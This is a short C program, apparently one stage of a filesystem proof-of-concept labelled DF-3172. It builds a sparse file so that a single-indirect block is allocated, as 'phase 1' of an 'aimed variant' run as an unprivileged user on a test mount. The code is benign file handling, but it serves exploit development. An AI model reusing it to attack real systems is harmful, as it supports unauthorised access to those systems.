DF-3172 / mkaim.c
/* mkaim.c — phase-1 file builder for the aimed variant (run as maxx, * under the LEGIT nindir=1024 mount): create file g, write 1 byte at * offset 100 KB so balloc allocates its single-indirect block (i_ib[0] * real, content = 1024 mostly-zero entries), di_size = 100001. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> int main(int argc, char **argv){ const char *path = argc > 1 ? argv[1] : "/mnt/poc/d/g"; int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } if (lseek(fd, 100*1024, SEEK_SET) < 0) { perror("lseek"); return 1; } if (write(fd, "A", 1) != 1) { perror("write"); return 2; } if (ftruncate(fd, 102400)) { perror("ftruncate"); return 3; } printf("built %s: size=102400, single-indirect allocated (uid=%d)\n", path, getuid()); return 0; } |